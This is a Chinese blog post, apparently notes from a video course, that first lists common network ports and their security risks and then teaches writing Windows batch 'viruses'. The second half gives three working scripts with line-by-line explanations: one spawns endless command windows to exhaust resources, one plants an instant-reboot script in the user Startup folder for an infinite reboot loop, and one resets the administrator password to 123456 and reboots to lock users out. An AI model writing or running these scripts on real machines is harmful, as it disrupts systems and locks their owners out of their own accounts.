Windows基础之病毒编写

声明:学习视频来自b站up主 泷羽sec,如涉及侵权马上删除文章

声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。

感谢泷羽sec 团队的教学
视频地址:Windows基础之病毒编写(完结)_哔哩哔哩_bilibili


本文主要讲解常见端口对应的服务及所存在的安全风险、bat病毒的编写。

一、常见端口及其对应的安全风险

  •     FTP (21):文件传输协议(FTP)通常以明文形式传输数据,包括用户名和密码,因此容易受到网络嗅探攻击。
  •     Telnet (23):Telnet协议也以明文传输数据,没有加密保护,因此同样容易受到网络嗅探攻击。
  •     HTTP (80):超文本传输协议(HTTP)如果不使用加密,数据传输过程中可能受到中间人攻击,如XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。
  •     HTTPS (443):安全超文本传输协议(HTTPS)使用SSL/TLS加密,但如果配置不当,可能会存在漏洞,如心脏滴血(Heartbleed)漏洞。
  •     SMB/CIFS (445):服务器消息块/公共互联网文件系统(SMB/CIFS)协议可能受到勒索软件攻击和未授权访问。
  •     MSSQL (433):微软SQL服务器可能存在弱密码和未授权访问的风险。
  •     Oracle (1521):Oracle数据库可能存在默认弱口令和未授权访问的风险。
  •     cPanel (2082/2083):cPanel主机管理系统如果使用默认凭据,容易被攻击。
  •     DA (2222):虚拟主机管理系统(DA)如果使用默认弱口令,也容易受到攻击。
  •     Squid 代理 (3128):如果未授权访问和配置错误,可能导致信息泄露。
  •     MySQL (3306):MySQL数据库可能存在弱密码和未授权访问的风险。
  •     Kangle (3311/3312):Kangle主机管理系统如果使用默认凭据,容易受到攻击。
  •     RDP (3389):远程桌面协议(RDP)可能面临暴力破解和未授权访问的风险。
  •     PostgreSQL (5432):PostgreSQL数据库可能存在弱密码和未授权访问的风险。
  •     VNC (5900):虚拟网络计算(VNC)如果使用默认凭据,容易受到攻击。
  •     Redis (6379):Redis数据库可能存在数据泄露和未授权执行命令的风险。
  •     WebLogic (7001/7002):WebLogic服务器可能存在默认弱口令和反序列化漏洞,可能导致远程代码执行。
  •     Kloxo (7778):Kloxo主机控制面板登录如果使用默认弱口令,容易受到攻击。
  •     Web管理端口 (8000-9090):常见的Web管理端口可能受到各种Web攻击和未授权访问风险。
  •     Tomcat/WDCP (8080):Tomcat和WDCP主机管理系统如果使用默认凭据,容易受到攻击。
  •     JBoss (8089/9090):JBoss应用服务器可能存在默认弱口令和未授权访问的风险。
  •     VestaCP (8083):VestaCP主机管理系统如果使用默认凭据,容易受到攻击。
  •     Ganglia (8649):Ganglia监控系统可能泄露监控数据,存在未授权访问风险。
  •     宝塔 (8888):宝塔主机管理默认端口如果使用默认弱口令,容易受到攻击。
  •     Virtualmin/Webmin (10000):Virtualmin/Webmin服务器管理系统如果使用默认凭据,容易受到攻击。
  •     Memcache (11211):Memcache数据库可能存在数据泄露和未授权访问的风险。
  •     MongoDB (27017/27018):MongoDB数据库可能存在数据泄露、恶意命令执行和未授权访问的风险。
  •     MongoDB 统计系统页面 (28017):MongoDB统计系统页面可能暴露敏感信息,存在未授权访问风险。

二、bat病毒的编写

1、资源耗尽病毒

echo start cmd > 1.txt

echo %0 >> 1.txt

ren 1.txt 1.bat

脚本解释

  • echo start cmd > 1.txt
    这行命令的作用是创建一个名为1.txt的文本文件,并在其中写入文本start cmd。

    • echo是一个输出命令,用于将内容写入文件或在命令提示符中显示。

    • >是重定向符,将输出重定向到1.txt文件。

    • start cmd表示启动新的命令行窗口。

  • echo %0 >> 1.txt
    这行命令将批处理文件本身的名称追加到1.txt文件的下一行中。

    • %0代表批处理文件本身的名称。

    • >>是追加符,用于将内容追加到文件中,而不是覆盖文件。

  • ren 1.txt 1.bat
    该行代码将1.txt文件重命名为1.bat,生成一个执行的批处理文件。

脚本效果就是:当我们双击该1.bat文件时,会自动调出命令行窗口,执行start cmd(启动新的命令行窗口)、1.bat,这里1.bat的效果就是调出命令行窗口,执行start cmd、1.bat命令,如此反复,从而达到无限启动新的命令行窗口效果,占用电脑资源。

具体过程如下:

  1. 文件内容:1.bat文件内容是:

    start cmd1.bat

    它会依次执行start cmd和1.bat。

  2. 梯度执行:当运行1.bat时:

    • 首先,start cmd会打开一个新的命令行窗口。

    • 接下来,在命令行窗口中再次调用1.bat文件。

    • 由于1.bat中包含相同的start cmd和1.bat指令,每次运行都会启动新命令行窗口,并在新命令行窗口中继续执行,形成一个无限递归。

  3. 效果:这种无限下降会不断启动新的命令行窗口,导致系统资源(CPU、内存)迅速被消耗,直到系统变得无法响应。

效果演示

ac3695ebf5b14f978af2f4bba3389b1e.png

0bcf61cc207a4899b6d517f687721a51.png

 2、无限重启病毒

echo shutdown /r /t 0 > C:\Windows\Temp\1.bat

copy C:\Windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

 脚本解释

  • echo shutdown /r /t 0 > C:\Windows\Temp\1.bat
    这行命令的作用是在C:\Windows\Temp目录下创建一个名为1.bat的批处理文件,并在其中写入文本shutdown /r /t 0。

    • echo是一个输出命令,用于将内容写入文件或在命令提示符中显示。

    • >是重定向符,将输出重定向到1.bat文件。

    • shutdown /r /t 0是立即重新启动计算机的命令。
      /r参数表示重启。
      /t 0设置重启的延迟为0秒,即立即执行。

  • copy C:\Windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
    这行命令将将1.bat文件复制到当前用户的自启动文件夹。

    • %USERPROFILE% 是一个环境变量,指向当前用户的主目录。

 脚本效果就是:当我们双击该1.bat文件时,电脑会立即重启,由于已经将该文件加到了用户自启动目录,因此1.bat文件在每次开机启动时会被执行。由于1.bat文件包含了立即重启命令,系统启动后会立即形成重启,再次触发1.bat,从而无限重启循环。

具体过程如下:

  1. 文件内容:1.bat文件内容是:

    shutdown /r /t 0 

    它执行后会立即重新启动计算机。

  2. 运行流程

    • 首次执行:当1.bat文件被执行时,命令shutdown /r /t 0会重新触发计算机重新启动。

    • 自启动设置:由于1.bat文件被放置在用户的自启动目录中,每次系统启动时,1.bat都会自动运行。

  3. 效果:这种会造成无限重启循环。

演示效果

20241102235120

3、锁机病毒

echo net user administrator 123456 > C:\Windows\Temp\1.bat

echo shutdown /r /t 0 >> C:\Windows\Temp\1.bat

 脚本解释

  • echo net user administrator 123456 > C:\Windows\Temp\1.bat
    这行命令的作用是在C:\Windows\Temp目录下创建一个名为1.bat的批处理文件,并在其中写入文本net user administrator 123456。

    • echo是一个输出命令,用于将内容写入文件或在命令提示符中显示。

    • >是重定向符,将输出重定向到1.bat文件。

    • net user administrator 123456是修改本地管理员账户 ( administrator) 的密码为123456。

  • echo shutdown /r /t 0 >> C:\Windows\Temp\1.bat
    这行命令的作用是将shutdown /r /t 0 命令加到1.bat批处理文件的下一行中。

    • echo是一个输出命令,用于将内容写入文件或在命令提示符中显示。

    • >>是追加符,用于将内容追加到文件中,而不是覆盖文件。

    • shutdown /r /t 0是立即重新启动计算机的命令。
      /r参数表示重启。
      /t 0设置重启的延迟为0秒,即立即执行。

脚本效果就是:当1.bat文件被执行后,本地管理员账户 ( administrator) 的密码会被修改为123456并且计算机会立即进行重启,然而,由于原本密码被修改,导致用户无法使用本地管理员账户登录,从而达到“锁机”效果。

具体过程:

  1. 文件内容:1.bat文件内容是:

    net user administrator 123456
    shutdown /r /t 0

    它执行后会先重新设置管理员账户的密码,然后立即重启计算机。

  2. 效果:当计算机重新启动后,原本的管理员密码已被更改,用户将无法使用旧密码登录管理员账户。

效果演示

20241102242335

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/2178.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

基于SSM+小程序的宿舍管理系统(宿舍1)

👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1、项目介绍 本宿舍管理系统小程序有管理员和学生两个角色。 1、管理员功能有个人中心,公告信息管理,班级管理,学生管理,宿舍信息管理,宿舍…

时间序列预测(十七)——滑动窗口的使用

这里只是对滑动窗口在时间序列预测中使用做一个分析总结,关于滑动窗口的详细介绍可以参考其他博文。 滑动窗口是一种常用的技术,它通过使用固定大小的窗口来创建训练样本,以便捕捉时间序列中的模式。适用于多种时间序列模型,包括…

git远程和本地创建分支并关联

1.github创建dev分支 点击branches: 创建一个新分支,可以命名为dev 在vscode创建新分支dev 如果远程dev分支在这没有表现出来 在终端执行:git fetch --all 然后手动切换(签出/checkout)到dev分支,使用如下命令让…

病床呼叫器设计仿真与实物制作

某医院有编号为1~9号的9个病房,现利用数字电路,设计并制作病房呼叫系统,要求系统功能如下: (1)病房 ①呼叫功能:每个病房都装有1个呼叫按钮,在病人需要时,可以通过呼叫…

基于Linux中Qt开发的广告机

一、实训目的 1. 掌握Qt开发环境:通过学习和实践,学习如何搭建Qt开发环境,熟悉Qt的基本使用方法,掌握Qt的应用技术; 2. 界面设计与框架:了解Qt的界面布局、整体设计思路以及框架解析,学会构建一…

设计一个灵活的RPC架构

RPC架构 RPC本质上就是一个远程调用,需要通过网络来传输数据。传输协议可以有多种选择,但考虑到可靠性,一般默认采用TCP协议。为了屏蔽网络传输的复杂性,需要封装一个单独的数据传输模块用来收发二进制数据,这个单独模…

Leetcode 64. 最小路径和 动态规划+空间优化

原题链接&#xff1a;Leetcode 64. 最小路径和 二维数据 class Solution { public:int minPathSum(vector<vector<int>>& grid) {int m grid.size();int n grid[0].size();int dp[m][n];dp[0][0] grid[0][0];for (int j 1; j < n; j)dp[0][j] dp[0][…

qt QMenu详解

1、概述 QMenu是Qt框架中的一个类&#xff0c;用于创建和管理菜单。它提供了丰富的接口来添加菜单项&#xff08;通常是QAction对象&#xff09;、子菜单以及分隔符。QMenu可以嵌入到菜单栏&#xff08;QMenuBar&#xff09;中&#xff0c;也可以作为弹出菜单&#xff08;通过…

Android——Activity生命周期

Activity生命周期 onCreate&#xff1a;创建活动。把页面布局加载进内存&#xff0c;君如了初始状态。onStart&#xff1a;开始活动。把活动页面显示在屏幕上&#xff0c;进入了就绪状态。onResume&#xff1a;恢复活动。活动页面进入活跃状态&#xff0c;能够与用户正常交互&…

02- 模块化编程-004 DB18B20温度数码显示

1、DB18B20采样与显示电路 2、DB18B20简介 DS18B20是一款高精度的单总线数字温度传感器&#xff0c;适用于多种温度测量场合。 温度范围&#xff1a;-55℃至125℃精度&#xff1a;可编程设定9至12位分辨率&#xff0c;对应温度分辨率0.5℃、0.25℃、0.125℃、0.0625℃通信&am…

[241102] Fedora Linux 41 正式发布 | Wasmer 5.0 发布

目录 Fedora Linux 41 正式发布Wasmer 5.0 发布 Fedora Linux 41 正式发布 主要更新&#xff1a; DNF 5: 更快、更小、依赖更少&#xff0c;统一了容器、服务器、桌面和设备的包管理体验。桌面更新&#xff1a; Fedora Workstation 41 基于 GNOME 47&#xff0c;默认终端改为…

C++继承

文章目录 一、继承的概念和定义1、继承的概念2、继承的定义3、继承基类成员访问方式的变化 二、基类和派生类之间的转换三、继承中的作用域1、隐藏规则 四、派生类的默认成员函数1、常见默认成员函数2、实现一个不能被继承的类 五、继承与友元六、继承与静态成员变量七、多继承…

嵌入式linux系统中串口驱动框架分析

大家好,今天主要给大家分享一下,如何使用linux系统中的串口实现。 第一:串口基本简介 串口是很常见的一个外设,在Linux下通常通过串口和其他设备或传感器进行通信。根据电平的不同,串口可以分为TTL和RS232。不管是什么样的电平接口,驱动程序是一样的。 第二:Linux下UAR…

秋日盛景,北京马拉松万人齐跑,秀域人工智能理疗获好评无数

在金秋送爽的北京&#xff0c;一场全民瞩目的体育盛事——北京马拉松顺利开跑&#xff0c;再次点燃了这座城市的运动激情。各地跑者齐聚双奥之城&#xff0c;共同奔赴在秋日美景之中。      回首往昔&#xff0c;1981年9月27日&#xff0c;首届北京马拉松赛的举办&#xff…

Java-I/O框架09:InputStreamReader、OutputStreamWriter使用

视频链接&#xff1a;16.24 转换流的使用_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1Tz4y1X7H7?spm_id_from333.788.videopod.episodes&vd_sourceb5775c3a4ea16a5306db9c7c1c1486b5&p24 1.InputStreamReader使用 package com.yundait.Demo05;import java…

JavaScript语法基础(JS使用方式, 输出方式, 变量,数据类型,运算符,程序控制语句)

目录 JS概念 一.JS使用方式 &#xff08;1&#xff09;行内式 &#xff08;2&#xff09;内嵌式 &#xff08;3&#xff09;外链式 二.JS输出方式 三.基本语法 1.变量 &#xff08;1&#xff09;变量的命名 &#xff08;2&#xff09;变量的声明 &#xff08;3&#xf…

NPOI 操作详解(操作Excel)

目录 1. 安装 NPOI 2. 使用 NPOI 创建新 Excel 文件 3. 设置列宽和行高 1. 设置列宽 2. 设置行高 3. 同时设置列宽和行高 4. 设置统一的行高 5. 设置统一的列宽 6. 应用统一的行高和列宽 4. 合并单元格 5. 设置单元格样式&#xff08;字体、边框、背景色等&#xf…

codigger体验过程记录

一、codigger的介绍 codigger是一款分布式操作系统&#xff0c;主要是便于进行个人移动化办公、在线协同办公、开发和娱乐的私人应用。 收到codigger开发者朋友的邀请&#xff0c;于是进行了这款产品的升级体验&#xff0c;接下来就简单介绍一下自己的体验过程吧。 二、登录系…

使用labelme中的AI模型提升数据标注速度

1、打开labelme 2、选择AI模型 选择之后&#xff0c;会自动进行模型下载&#xff0c;推荐开梯子&#xff0c;否则可能下载失败&#xff0c;最小的EfficientSam 在30M左右 3、右键选择AI多边形&#xff08;分割&#xff09;或AI蒙版&#xff08;目标检测&#xff09;&#xf…

全双工通信协议WebSocket——使用WebSocket实现智能学习助手/聊天室功能

一.什么是WebSocket&#xff1f; WebSocket是基于TCP的一种新的网络协议。它实现了浏览器与服务器的全双工通信——浏览器和服务器只需要完成一次握手&#xff0c;两者之间就可以创建持久性的连接&#xff0c;并进行双向数据传输 HTTP 协议是一种无状态的、无连接的、单向的应用…